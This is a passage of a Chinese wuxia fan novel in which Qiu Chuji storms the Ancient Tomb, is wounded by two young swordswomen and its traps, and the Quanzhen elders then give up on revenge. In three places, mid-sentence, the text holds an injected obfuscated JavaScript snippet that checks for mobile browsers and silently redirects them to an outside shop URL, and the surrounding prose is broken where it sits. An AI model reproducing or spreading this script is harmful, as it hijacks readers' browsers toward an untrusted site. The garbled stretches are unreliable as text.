黄蓉也不解释,只将火把递给他,道:“走,去全真教。” 三人沿着山道往重阳宫方向去了,夜色重新压回墓门前。山风吹过被火熏黑的石阶,吹动地上几片枯叶,活死人墓的入口静静嵌在山壁里。那点火光已经远了,连丐帮弟子的脚步声也渐渐听不见。 又过了一阵,山道另一头忽有急促马蹄声远远传来。 那声音在终南山夜色里极清晰,一下一下砸在泥路上,带着一路风尘与火气。远处林影摇动,有一骑从山道上疾驰而过,却没有往全真教山门去,反而直奔活死人墓方向。 马上那人道袍蒙尘,肩背挺直,鬓边有风霜,一手控缰,一手提剑,正是丘处机。 那匹马在墓外石阶前人立而起,长嘶一声。丘处机翻身下马,连马缰都没来得及拴,只从随身包裹中取出火折子,点了一支火把,提剑便往墓门里闯。 墓门之内,丘处机举着火把,脚步极快。 他收到孙不二的飞鸽传书时,人还在数百里外。信上字迹急乱,只说郝大通死于古墓派两名少年之手,终南山下群情大乱,古墓中人武功诡异,需速回。 丘处机看完信,当场变了脸色。 全真七子同出一门,情分非寻常师兄弟可比。郝大通虽性子执拗,处事有时不够圆融,可终究是多年同门。丘处机一路换马,几乎未曾好好合眼。风尘灌满衣袖,喉中干得像吞了沙,他却只想着早一步回终南,早一步问清楚。 可越接近终南山,听到的传闻越荒唐。有说古墓里有妖鬼;有说古墓少年白衣如雪,杀人不眨眼;有说郝大通是被暗箭毒针害死;有说全真教被古墓派压得抬不起头。 丘处机越听,心中怒火越盛。他不信世上有什么妖鬼,更不信两个未满双十的少年能正面杀了郝大通。 江湖上阴毒手段多得很,古墓派久居地下,机关暗器、毒蜂冷箭,样样都占地利。郝大通若是一时不察,中了暗算,并非不可能。 所以他没有回重阳宫,他要先入古墓。先杀了那两个害死他师弟的妖魔,再回重阳宫向众人交代。 火把照亮前方一小段甬道。 甬道狭窄,石壁潮冷,两旁黑暗像活物一样贴过来。丘处机握剑的手微微一紧,脚下却不停。他常年行走江湖,知道越是阴暗处,越不能迟疑,迟疑便给对手可乘之机。 可他刚踏过第三块石砖,耳边忽然听得一声极轻的“咔”。 丘处机心头一凛,身形陡然侧转。 嗖! 一支短箭从左侧石缝里射出,擦着他的袖边钉入右壁。火星一溅,箭尾嗡嗡颤动。丘处机反手一剑,剑光在火光里闪过,紧接着又有两支短箭破空而来,被他一一挑开。 “机关。”他低声吐出两个字,眼中怒意更深,果然如此。 丘处机脚尖一点,想要避开脚下机关,身形刚往前掠,头顶忽有沉闷风声压下。一个流星锤从黑暗里荡出,带着沉重铁链,直砸他的头顶。 丘处机剑势上挑,剑脊撞上铁锤,铛的一声,火把震得几乎脱手。 他借力后退半步,脚下却又踩到一处凸起。右侧石壁忽然翻开一道窄缝,几枚细针无声无息射出。 丘处机左袖一卷,将细针扫落,脸色终于沉了下来。这古墓的机关比他想象得更密,而且不是只为阻人,是为杀人。 他正要再往前,忽听甬道深处传来极轻的脚步声。 一前一后,很轻,像两片雪落在石面上。 丘处机抬起火把,火光艰难地往前探去。黑暗中,先出现的是一截白色衣角,然后是一柄垂在身侧的剑。 小龙女从暗处走出来。 她白衣如雪,神情淡淡,仿佛丘处机夜闯古墓、触发机关、提剑杀来,都不过是一件寻常小事。 她身旁半步处,小童子也走了出来。 小童子换了身便于使剑的窄袖白衣,腰间束带收得利落,发以一根素带高束。她脸上的少年气比小龙女更明朗些,眉眼却同样清冷。只是她一手握剑,一手还按了按自己的肚子。 方才喝了热水,又吃了没沙子的粥和一点白菜,她的肚子已经不痛了,状态很好,所以她看丘处机的眼神,甚至有一点跃跃欲试。 “全真教?”小童子问。 丘处机目光落在两人脸上,心中微微一震,太年轻了,比他以为的还要年轻。 这样的年纪,这样的气息,竟能杀郝大通?他不愿信,可郝大通已死。 丘处机声音沉厉:“郝大通,是你们杀的?” 小童子点头:“他的头,是我斩下来的。” 丘处机眼底怒意骤然翻涌,她说得太平静,没有狡辩,没有愧色,甚至没有半分畏惧。 丘处机一生刚烈,最恨奸邪。听她这样承认,哪里还压得住一路风尘里积下的怒火:“好!” 他只说了一个字,手中火把已脱手飞出。 火把在半空划过一道短弧,砰的一声插进一旁石壁缝隙,火星四溅,斜斜照亮甬道。 下一刻,剑光已到小童子眉心。 丘处机的剑法大开大阖,沉稳刚劲,第一剑便是杀招。火光从石缝里斜斜照来,映得剑锋如一道冷电。 小童子却不退。 她左脚往后一滑,身子贴着剑光斜斜让开,手中剑从下往上挑出。她的剑不像全真剑法那样端方,也不像江湖上常见剑客那样讲究架势。她像从石壁上长出来的一道影子,明明人在丘处机眼前,下一瞬却已贴近他的剑侧。 丘处机手腕一沉,剑锋压下。 小童子借他这一压,身形忽然矮了半寸,脚尖点在墙根,整个人竟横着掠上石壁。 丘处机瞳孔一缩。 古墓甬道狭窄,常人交手最忌空间逼仄,长剑施展不开。可小童子在这里却如鱼得水。地面、墙壁、甚至头顶石顶,仿佛都可借力。 她从墙上掠过,剑尖贴着丘处机肩侧削来。丘处机反身格挡,剑气震开小童子的剑锋。 就在这一瞬,小龙女动了,她出剑比小童子更静,没有风声,没有杀气。 丘处机只觉眼角一白,那柄剑便已到了自己肋下。若非他多年苦练,临敌经验极深,这一剑几乎要从肋间透入心肺。 他沉喝一声,长剑横扫。 全真剑法堂堂正正,讲究气脉连贯。丘处机这一扫,正是要以深厚内力逼退两人。他一路急赶,虽疲惫,内功底子却仍在,剑风在甬道里撞出低低回响,连插在石缝里的火把都被震得火苗一偏。 小龙女白袖一拂,不与他硬碰,剑尖贴着他的剑脊轻轻一绕。那一绕极妙,像丝线缠过钢刀。 丘处机只觉自己横扫出去的劲力被带偏半寸,原本要逼退两人的一剑,竟擦着小童子的衣角滑了过去。 小童子笑了一下,不是讥笑,是看见好招时的高兴:“龙儿。” “嗯。” 两人没有多说。 可丘处机立刻感到压力变了,方才还是两个人各自出剑,这一刻,一明一暗已合成一股逼人的剑势。 小童子在明处,步法灵快,剑势跳脱,时而从地面刺来,时而踏墙斜掠,时而又忽然消失在火光照不到的暗处。她每一次出剑都不贪,刺一下便走,挑一下便退,可每一次都逼得丘处机不得不应。 小龙女在暗处,剑意清冷,专取丘处机旧力将尽、新力未生的缝隙。 丘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801593|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 处机若追小童子,小龙女的剑便到;丘处机若挡小龙女,小童子便从墙上、顶上、火光背后钻出来。 甬道狭窄,本该限制双人合击,可她们像在这里练了千百遍。 不,她们本就是在这里长大的。丘处机越打越心惊,他收到信时,以为郝大通是中了暗算。 如今交手不过十数招,他已知道自己错了,大错特错。这两个少年根本不需要阴招,她们的武功,本就在郝大通之上,甚至在自己之上。 丘处机怒火未消,心却沉了下去。 他一路奔波,内息未匀,又在这古墓甬道中处处受制。对方却熟悉每一块石砖,每一道转角,每一处火光照不到的阴影。再打下去,不但杀不了这两人,自己也要陷在这里。 可他想退,小童子却已经看出来了:“他要走。” 小龙女道:“拦一下。” 丘处机听得心中火起,拦一下?她们当他是什么? 丘处机剑势骤然一变,连出三剑,剑剑刚猛,直取小童子胸前要害。这三剑没有再留余力,每一剑都带着杀意。 小童子眼神微亮,足尖一点,身形向后一仰,整个人几乎贴着地面滑出。第一剑从她鼻尖上掠过,第二剑被她抬剑挑偏。 第三剑来得最快,小龙女的剑却在第三剑落下前到了,她并不替小童子硬挡,而是剑尖点在丘处机剑身中段,轻轻一敲。 叮,极轻一声。丘处机那一剑的杀势竟被敲得偏开半寸。 半寸已经足够,小童子从地上翻身而起,反手一剑,剑刃重重撞在丘处机剑身中段。 丘处机手腕一麻,长剑险些脱手。他已完全明白,自己非退不可。这不是怯,是不能再在这里耗。他若也死在古墓,全真七子便连折两人,全真教就不只是大乱,而是要从此衰败下去。 丘处机猛然一掌拍向石壁,借反震之力向后掠去。小童子追出半步,脚下刚一点地,小龙女却伸手扣住她的袖口:“机关。” 小童子立刻停住,几乎同时,丘处机后退的脚踩上了一块松动石砖。 咔,甬道右侧忽然翻开,一支短箭破空射出。 丘处机听风辨位,仓促间侧身避开要害,可他此时正在后退,身后又是狭窄甬道,终究慢了半分。 噗的一声,短箭扎入他左肩。 丘处机闷哼,火把照见他肩头道袍迅速洇出暗色。他没有停,也没有拔箭,只以剑锋挑开第二支、第三支短箭,借势继续往外退。 小童子看了一眼小龙女,小龙女也看她。 追出去?不能,师父说不能出墓。墓门之外,是外面,两人便没有追。 丘处机一路退到墓门口,终于重新见到外头沉沉夜色。山风扑面而来,吹得他胸中一阵发冷。他回头看了一眼黑暗深处,那两个白衣身影没有出来。 她们站在火光照不到的地方,只隐约能看见衣角与剑锋。 丘处机捂住肩头,脸色难看至极。他终于明白,孙不二的信写得还是太轻了,这不是两个会暗算人的少年,这是两个在古墓里几乎杀不死的高手。 他必须回全真教,必须立刻回去。 丘处机翻身上马,肩头短箭被动作牵动,痛得他额角一跳。他咬牙控缰,调转马头,往重阳宫方向疾驰而去。 墓门里重新静下来。 小童子站在甬道中,低头看了看自己的剑:“全真教的道士,也不怎样。” 小龙女道:“比那日很多人强。” “可是没有郭靖强。” 小童子想了想,又道:“但他比洗菜做饭难一点。” 小龙女道:“确实。” 小童子收剑入鞘,忽然又按了按肚子。 小龙女看向她:“还痛?” “不痛。”小童子道,“就是刚刚没吃饱。” 小龙女想了想:“先恢复机关,再去煮粥。” 小童子眼睛亮了一下:“好。这次多淘两遍,别再有沙子。” 两人便在甬道旁停下,拨回方才松动的石砖,又将暗槽一一合上。待机关归位,小龙女伸手牵住小童子,两人这才往甬道深处走去。 甬道里的响动慢慢归于沉寂,石壁上的火光一点点熄灭,潮冷的黑暗重新合拢,像什么都没有发生过,只有地面上几滴未干的血还静静躺在地上。 50.报不了的仇 丘处机一路策马往重阳宫去。 夜风从山道两旁压下来,带着终南山深处的寒气。树影在他身侧飞快后退,马蹄踏过泥路,溅起零碎尘土。肩头的箭还没有拔,短箭随马身颠簸一下下牵扯血肉,痛意从左肩一路蔓到胸口。 他没有停,血顺着道袍往下渗,先是热的,很快被夜风吹凉,贴在皮肤上,湿冷得像一块薄冰。 丘处机握缰的手很稳,可他的心并不稳。方才在古墓里那一场交手,不断在他脑中重现。 火把、黑暗、狭窄甬道,石壁里射出的短箭,流星锤沉重的风声。 还有那两个白衣少年,她们实在太年轻。年轻得让人很难立刻把她们和郝大通的死联系在一起,可她们承认得那么平静。 “他的头,是我斩下来的。” 丘处机想到这句话,眼底仍旧有怒火翻涌。他一生刚烈,嫉恶如仇,怎么可能容忍有人杀了同门之后,还能如此淡淡一句带过? 可怒意之外,另有一种更深的寒意慢慢升起来。 他不是没见过高手,全真七子纵横江湖多年,交过手的人不知凡几。丘处机自知武功不敢称天下绝顶,可眼力总还有几分。那两个少年在古墓中出剑的样子,他越想越觉心惊。 小童子的剑快,不是寻常意义上的快。她的快里有一种极古怪的灵动,像是挨过无数次打,又从每一次挨打里摸出一条新的路。她的招式不是老成名宿那种沉厚稳重,却敏锐得可怕。丘处机有几次剑势刚起,她便像提前知道似的,已经从剑势最薄处钻了进来。 她借墙,借地,借石顶,借火光,甬道对旁人是困境,对她却像多了四五条路。 小龙女的剑则冷,冷得没有烟火气,那不是杀气。 江湖上寻常高手动手,纵然剑还未至,眉眼、呼吸、肩背之间,总有一线杀机先透出来。丘处机一生不知经历过多少恶战,最熟悉的便是这种气息。可小龙女没有,她眼中无怒,手上无狠,剑锋递来时,甚至像山间冷月照过一片石阶,清清淡淡,不带半点烟火与血腥。 可偏偏她每一招都能杀人。 她不急,不抢,不贪,她出剑的时候,常常慢得像只是随手一拂,可那一拂若不挡,便是咽喉;那一点若接慢半拍,便是心口;那一绕看似避锋,转眼便能削断腕脉。她若强攻,丘处机还能凭几十年功力正面挡一挡;可她偏不强攻,只是轻轻一点、一绕、一敲,每一下都落在丘处机最难受、也最不能失守的地方,便将他的劲力引偏半寸。 半寸,高手相争,半寸便够要命。 更可怕的是,她们合在一起。丘处机原本以为甬道狭窄,双人合击难以展开。可古墓里的甬道,偏偏是她们从小走到大的地方。她们不需要看路,不需要辨向,不需要顾忌脚下哪一块石砖高、哪一处墙面凸。 黑暗是她们的眼睛,石壁是她们的步法,机关是她们的辅助,古墓本身,几乎也是她们武功的一部分。 丘处机越想,脸色越沉,他先前以为郝大通是被暗算。如今想来,未必,甚至多半不是。 以那两人的武功,纵然不用机关暗器,郝大通也难全身而退。若是在墓外空旷处相遇,或许还能多撑一阵,可若她们真动了杀心,正面取人首级,也未必是什么难事。 郝大通的死不是轻敌或者遭遇暗算,想到这里,丘处机心中一痛。 他想为郝大通报仇,杀人偿命,这是江湖最简单的道理。可有些仇,不是想报便报得了。 丘处机勒了一下缰绳,马速稍慢。他肩头痛得厉害,失血也让眼前的山路隐隐发暗。可比伤口更沉的,是他心中那个越来越清晰的念头。 郝大通的仇,怕是报不了了。 这念头刚一冒出,丘处机便咬紧牙关。他不愿承认,也不能轻易承认。全真七子同气连枝,若连同门之仇都报不了,全真教还有何颜面立于武林? 可他是丘处机,刚烈之外,他也不是不知世事轻重。若要报仇,怎么报? 全真六子一齐入墓? 古墓甬道狭窄,昏暗难辨,处处机关。六人进去,不但阵法难展,反而要被地势拆开。全真剑阵讲究方位、进退、呼应,若在开阔地自然厉害,可在那种两三人并行都嫌窄的石道里,摆什么阵? 别说阵法,火把一灭,恐怕连同门的身影都分不清。 而古墓那两人闭着眼都能走,她们若守在暗处,借机关冷箭、借甬道转折、借石壁高低,逐个击破,并非难事。 丘处机越想,越觉得不可行。 那在墓外围捕?这念头刚起,又很快被他自己压了下去。 古墓派的人常年不出墓,若不是这次不知为何闯入全真教杀人,全真教连她们影子都摸不到。 如果想要在墓外围捕她们,首先要等她们出来。可谁知道她们什么时候出来?一年?三年?十年? 全真教难道要为了两个古墓弟子,日日夜夜派高手守在墓前? 不可能。 全真教不是山野小帮,教中每日有功课,有山门事务,有江湖来往。如今蒙古势大,天下不宁,终南也并非世外净土。全真六子不可能什么都不管,只围着一座活死人墓转。 派年轻弟子看守? 更是白送性命,那两人武功太高,轻功太快。若她们真想走,寻常弟子看见了也拦不住。等消息传回重阳宫,再等高手赶来,人早已不知去了哪里。 若派人跟踪? 丘处机想到小童子在石壁上横掠而过的身影,又想到小龙女那几乎没有声息的步法,心中更沉。跟不上,就算跟上了,也未必活得了。 真是一个难题,一个摆在眼前、无法回避,却一时根本无解的难题。 丘处机一掌拍在马鞍上,马受惊,往前冲了几步。丘处机很快收住缰绳,脸色在夜色里难看得厉害。 他不是怕死,若方才死在古墓,他也不会后悔闯进去,可他不能带着全真教弟子去做无谓送死。 郝大通已经死了,全真教不能再因为一口怒气,把更多弟子折在古墓那条黑暗甬道里。 重阳宫灯火终于出现在山势尽头。 夜色下的宫观沉稳肃穆,檐角隐在松影里,灯火从几处殿门透出,像深山里几粒温黄的星。丘处机远远望见那片灯火,胸口那股压了一路的怒意和寒意都被牵动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804603|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 这是全真教,是师父留下的道统,他不能只顾一个仇字。 马蹄声惊动了山门弟子:“丘师伯!” 守门弟子见他肩头中箭,脸色大变,慌忙上前扶他。丘处机翻身下马时,脚步微微一晃,却很快站稳。 “掌教真人呢?孙师伯呢?” “诸位师长都在偏殿。”弟子急道,“还有郭夫人也在,正同几位师长议事。” 丘处机听到黄蓉在此,眼神微动。 丘处机没有先去换衣,也没有先回房,只道:“带我去。” “可是您的伤……” “带我去。” 那弟子不敢再劝,只得引他往偏殿去。一路上,道童与弟子见丘处机负伤归来,纷纷变色。有人低声惊呼,有人忙去请医师,有人见他脸色沉厉,不敢多问。 偏殿里灯火明亮,黄蓉正坐在一侧,身旁站着两个丐帮弟子。 她对面坐着全真教几位长辈,马钰居中,眉目沉静,只是眼底也有连日未眠的疲色。王处一坐在他左侧,指节轻轻按着膝头,像在压着心中焦躁。刘处玄垂眼不语,谭处端神色凝重,孙不二脸上仍有被玉蜂叮咬后的浮肿痕迹,神色最是阴沉。 殿中另有几名二代弟子垂手而立,气氛紧绷。 “我今日来重阳宫,并不是替古墓派说情。”黄蓉声音不高,却很清楚,“杨过是靖哥哥送上终南山的,他在全真教中究竟过得如何,后来又为何会牵扯到孙婆婆、古墓派,乃至郝道长之死,我总该问个明白。” 孙不二冷声道:“郭夫人的意思,是我全真教欺负了杨过,才逼得古墓派杀人?” 黄蓉微微一笑:“孙道长误会了,谁对谁错,都不能只听一面之词。杨过是我的侄儿,如今他卷进这桩人命官司,我这个做长辈的,总要先问清楚事情究竟如何,才好谈后续怎么处置。” 王处一道:“郭夫人说问清,是要问谁?” 黄蓉道:“问当日教导杨过的师长,问与孙婆婆起冲突的人,你们也可以问杨过。若诸位愿意,最后自然也该问那两位古墓姑娘。” 孙不二冷笑:“问她们?她们杀了郝师兄,还会乖乖答话?” 刘处玄缓缓道:“不问也不成,郝师兄死在她们手中,可孙婆婆也死在我全真门人手中。两边都有人命,只凭怒火,事情只会越滚越大。” 孙不二霍然转头:“刘师兄!” 刘处玄抬眼看她,声音仍旧很平:“我不是替古墓说话,我是说,若要讨伐,也要先知道讨伐什么。否则一动手,便是全真与古墓不死不休。” 谭处端叹了一声:“郝师兄不能白死,可全真教也不能只剩一个仇字。如今蒙古势大,山下局势也乱,若门中大半精力都耗在活死人墓前,未必是师父愿意见到的。” 孙不二握紧拂尘,眼中痛色更重:“说到底,你们都怕了那两个妖女?” “孙师妹。”马钰终于开口,他的声音不重,却让殿中一静,“不是怕,是不可妄动。丘师弟未归,事情未明,若我们先乱,全真教便先输了三分。” 孙不二胸口起伏,还要再说,殿门忽然被推开。 51.报不了的仇(2) 众人同时回头,丘处机站在门口,肩头插着短箭,道袍半边染血,脸色苍白,眼神却沉得吓人。 殿中一静。 孙不二霍然起身:“丘师兄!” 黄蓉也站了起来,心里猛地一沉。她前脚离开古墓,后脚古墓就打起来了? 丘处机看了黄蓉一眼,没有立刻说话。他走进殿中,坐到一旁椅上,才对身旁弟子道:“拔箭。” 弟子与请来的医者忙上前,有人剪开他肩头道袍,有人端来热水,有人取出药箱。箭头不深,却卡在肉里,拔出时必然要痛。丘处机咬了一块干净布巾,示意他们动手。 医者低声道:“师伯,忍一忍。” 丘处机闭了闭眼,箭头拔出的瞬间,血一下涌出来。他额角青筋跳了跳,却没有出声。医者忙以药粉按住伤口,又取干净布条一圈圈缠好。 殿中无人说话,只有热水轻晃、药瓶碰撞、布条摩擦的细碎声。 黄蓉看了一眼那支被拔出来的短箭,箭头干净,没有泛青,没有异味,无毒。她暗暗松了半口气,还好,只是皮肉伤,休养一段时日便能好。 等伤口包好,丘处机才取下口中布巾,声音有些哑:“我刚从古墓回来。” 殿中气息骤然一紧。 孙不二急道:“师兄见到那两个妖女了?” 丘处机沉默片刻:“见到了。” 王处一追问:“她们如何?” 丘处机抬眼看向殿中众人,火光照在他脸上,将他脸侧的疲惫与阴影照得分明。他这一路奔波,又强闯古墓,此刻坐在那里,肩头缠着新布,整个人却仍像一柄没折的剑:“武功极高。” 殿中有人低声吸气。 孙不二脸色一变:“师兄也觉得她们用了妖法?” “不是妖法。”丘处机声音沉了几分,“是武功。” 他将古墓中所见所闻一一道来,墓道狭窄,机关密布,两人如何借墙借地,如何一明一暗,如何让他剑势受制。 他说得不快,每一句都像从牙缝里挤出来,他不愿夸那两个杀了郝大通的人,可他也不能在全真教众人面前说假话。 “她们在古墓中,如虎添翼。”丘处机道,“我全真剑阵,在那样的甬道里展不开。人多,未必是助力,反成拖累。若贸然入墓,不是讨伐,是送死。” 最后两个字落下,偏殿里一片死寂。 送死,这话若从旁人口中说出来,全真弟子恐怕早已怒斥。可说这话的人是丘处机,是刚从古墓里带伤退回来的丘处机。 孙不二脸色一阵青一阵白:“难道郝师兄的仇,就不报了?” 丘处机手指微微收紧,伤口被牵动,布条下又渗出一点血。他没有立刻回答,这个问题,他一路上已经问过自己无数次。 报,怎么报?不报,又如何面对郝大通? 王处一低声道:“丘师兄,你说剑阵展不开,是一点余地也没有?” 丘处机道:“若强行入墓,至多两三人并行。转角、机关、暗道太多,前后不能相顾。她们不必破阵,只消借甬道将我们拆开,逐一攻破。” 刘处玄皱眉:“若在墓外设伏?” 丘处机看向他,这正是他一路想过的问题。 “她们不出墓。”丘处机道,“等不到。” 谭处端道:“派弟子守?” 丘处机摇头:“守不住,寻常弟子见了她们,拦不下,也跟不上。若真叫她们发现有人跟踪,只怕又添伤亡。” 孙不二咬牙道:“那便我们六人轮流守!” 殿中几人一时都没有说话。 马钰看向孙不二,缓声道:“师妹,全真教不是只有活死人墓。重阳宫每日功课、门中事物、山下百姓、蒙古之患,桩桩件件都在眼前。我们六人若日日守在墓前,全真教便不是全真教了。” 孙不二眼眶微红,声音却仍硬:“难道郝师兄就这样死了?” 谭处端低声道:“没有人说他该这样死。” 王处一也道:“也没有人说不管。” 刘处玄接道:“只是不能把更多弟子送进去。” 这些话一句一句落下,偏殿里的火光像也暗了几分。 黄蓉看着众人的神色,心中暗暗叹了一声。她来全真教,本就是想把这件事按下来,没想到还没来得及把话说透,丘处机已经亲自去古墓试了一回。但试得好,虽然吃了亏,可至少让全真教知道,古墓不是靠一腔怒火便能踏平的地方。 黄蓉温声道:“诸位道长此言,并非说郝道长之事不管,而是不能乱管。” 全真六子看向她。 黄蓉道:“古墓派那两位姑娘武功如何,丘道长已经亲身领教过。若全真教此时大举入墓,死伤只会更重。孙婆婆之死、郝道长之死,原本便已是一笔血债。若再添几十条人命,这事便真没完没了了。” 孙不二咬牙道:“郭夫人说得轻巧。” 黄蓉道:“正因不轻巧,我才更要问清楚事情缘由。除此之外,还有一件事,我也不得不提醒诸位,免得诸位消息不全,误判形势。” 她转向丘处机,道:“丘道长可知道,陆家庄武林大会上,那两位姑娘曾与靖哥哥交手?” 丘处机一怔:“什么?” 他收到孙不二的信鸽时,人还在数百里外。这一路十余日兼程赶回终南山,风尘仆仆,昼夜少歇,回山后又立刻闯入古墓,根本不曾来得及听闻这些江湖消息。 黄蓉心中暗道:果然如此,他并不知道。若他早知道这两人的武功,今日未必会这样直接杀入古墓。 黄蓉道:“她们二人联手,与靖哥哥打了个有来有回。靖哥哥并未放水,甚至被逼得用了真力。” 偏殿中再次哗然。 其实这些传闻,他们并非全然没有听过。 陆家庄武林大会之后,消息早已顺着江湖人的嘴传开。有说古墓来了两个白衣少年,剑法如仙,能与郭靖正面交手;有说她们伤了郭靖;也有说那两人年纪轻轻,武功已经到了不可思议的地步。 甚至当日随行参加武林大会的教中弟子,也曾将此事禀告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807666|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 回来。 只是那些弟子隔得远,武功眼力也有限,所禀之事又与江湖传闻混在一处,越发显得虚虚实实。江湖人的嘴,向来能把一招说成十招,把半步说成三丈。全真教众人听了,也只当是夸大其词。 两个小娃娃,与郭靖打得有来有回?谁信? 郭靖是什么人,他们再清楚不过。他少年时便与全真教渊源极深,后来又得洪七公、周伯通等名师指点,降龙十八掌、九阴真经、左右互搏,样样皆是世间绝学。他为人朴厚,不争虚名,可武功之高,在场众人心中都有数。 若说两个十几岁的古墓弟子能与寻常高手争锋,他们或许还能信上几分。可说她们能逼郭靖用出真力,这便实在像笑话了。 直到这话从黄蓉口中说出来,分量便全然不同了。 她是郭靖的夫人,是丐帮帮主,也是黄药师之女。她没有必要替古墓派吹嘘,更没有必要拿郭靖的武功来替旁人添光。 全真六子的脸色终于都变了,郭靖的武功,他们自然知道。 丘处机心中尤其清楚,若那两人能逼郭靖用出真力,那自己方才在古墓中吃亏,便不是偶然,也不只是地利之故,她们本就极强。 其余五人也在这一刻想到了同一处。 真要报仇,恐怕只有全真六子齐出,在开阔空地上摆开剑阵,不惜性命与她们拼死一战,才有几分报仇雪恨的可能。 丘处机闭了闭眼,肩头伤口一阵一阵发痛。可这一刻,他心中更痛的是另一个事实,郝大通的仇,真的不是喊一句讨伐便能报。 马钰看向黄蓉:“郭夫人亲眼所见?” 黄蓉道:“亲眼所见。” 王处一道:“郭靖受伤了?” 黄蓉点头:“手臂被剑划了一道。伤不重,却确实是伤。” 这一下,殿中气氛更沉。 谭处端喃喃道:“能伤郭靖……” 殿中无人立刻回答,火光在众人脸上摇晃。孙不二脸色苍白,握着拂尘的手却更紧了,眼中又恨又痛。 丘处机坐在那里,肩头缠着白布,脸色灰败,却没有再怒喝。 王处一低头看着地上的火影,久久不语。 刘处玄轻轻叹了一声,谭处端闭了闭眼,像在压住胸中那口浊气。 马钰坐在上首,神色仍稳,只是搭在膝上的手指慢慢收紧。 黄蓉知道,全真教不会因此便放下同门之仇,可只要他们暂且打消强攻古墓的念头,不再让仇怨立刻滚成更大的死局,便已经够了。 殿外夜色深沉。 终南山上风声穿过松林,远远传来,像有人在黑暗里长长叹了一口气。 丘处机低头看着桌案上那支带血的短箭,他想起古墓甬道深处那两个没有追出来的身影。她们没有追,因为不出墓。也正因如此,她们像一柄收在鞘里的剑。只要无人去拔,便安安静静,可若有人伸手,剑便出鞘。 丘处机心中那句不愿承认的话,终于又一次浮了上来。 郝师弟,你的仇,怕是真的难了。 52.听不见 重阳宫那一夜,灯火一直燃到天将明。 偏殿外夜风不止,檐角悬着的铜铃被风吹得轻轻晃动,却没有发出多少清响。殿中众人一夜未眠,茶水凉了又换,换了又凉,桌案上那支带血的短箭一直没有被收走。 它就横在那里,像一根扎在全真教脸面上的刺。 丘处机肩头已包扎妥当,脸色仍旧苍白。孙不二坐在一旁,握着拂尘的手始终没有松开。马钰沉默许久,王处一几次想开口,又都忍了回去。刘处玄与谭处端低声商议过几句,声音都压得很低。 黄蓉坐在旁边,始终没有再开口,她知道自己该说的已经说尽。余下的事,只能由全真教自己决断;她一个外人,不便再多言。若再劝下去,反倒容易逼出他们的火气。 全真教不是小门小派,可越是大派,越有大派的脸面与难处。郝大通死了,若全真教毫无反应,江湖上会如何看?门中弟子又如何想? 可若带着一腔怒火闯进古墓,丘处机带回来的伤与那番话,便已足够说明后果。那不是讨伐,而是送死。 天边微微泛白时,马钰终于开口:“古墓不能进。” 这一句话落下,偏殿里没有人出声。孙不二抬头,眼中血丝清晰。 马钰看向她,声音很慢:“不是不报仇,是不能带着弟子进墓去送死。若古墓那二人出墓,在外遇上,我全真教与她们不死不休。可若她们不出墓,便不可妄入。” 孙不二嘴唇动了动,想说什么,却终究没有说出口。丘处机闭了闭眼,这话像一块石头,压在每个人心口上。 王处一道:“那墓外呢?” 刘处玄道:“可派弟子日常巡查,但不可近到墓门。若见她们出墓,先报信,不可轻举妄动。” 谭处端叹道:“寻常弟子便是见了,也拦不下。” 孙不二冷声道:“拦不下,也不能当什么都没发生。” 马钰点头:“自然不能。” 于是全真教最后定了一个不算办法的办法,不入墓,不送死。若在墓外遇到小龙女与小童子,便视为死敌,不死不休。 除此之外,每日派弟子前往活死人墓外,在墓门前诵读郝大通生平,诉古墓派杀人之罪,又为郝大通诵经超度。既是为同门送行,也是叫古墓中人知道,全真教没有忘,也不会忘。 孙不二听到这里,脸色才稍稍缓了一点:“她们不肯出来,便叫她们日日听着。杀了人,还想在墓里清净度日?哪有这样的好事。” 黄蓉在一旁听着,神色微妙,她想起古墓里那厚厚的石壁,那又深又曲折的甬道。 日日在墓外念?多半无用。可她没有说破,有些事,总要让全真教做一点,心里那口气才不至于憋成大祸。只要他们不进墓,不再送命,便已经是眼下最好的结果。 于是第二日清晨,第一队全真弟子便去了活死人墓外。 晨雾未散,终南山的树叶上挂着细细水珠。几名弟子身穿道袍,手持拂尘与经卷,走到墓门外十余丈处停下。再近一些,便是前段时日被火熏黑的石阶与古墓入口。那入口处阴沉沉的,连晨光照不进去。 为首弟子深吸一口气,展开一卷写好的罪状:“古墓派小龙女、小童子,杀我全真郝大通,罪不可赦……” 声音在山壁间回荡,树梢上几只鸟被惊动,扑棱棱飞走。 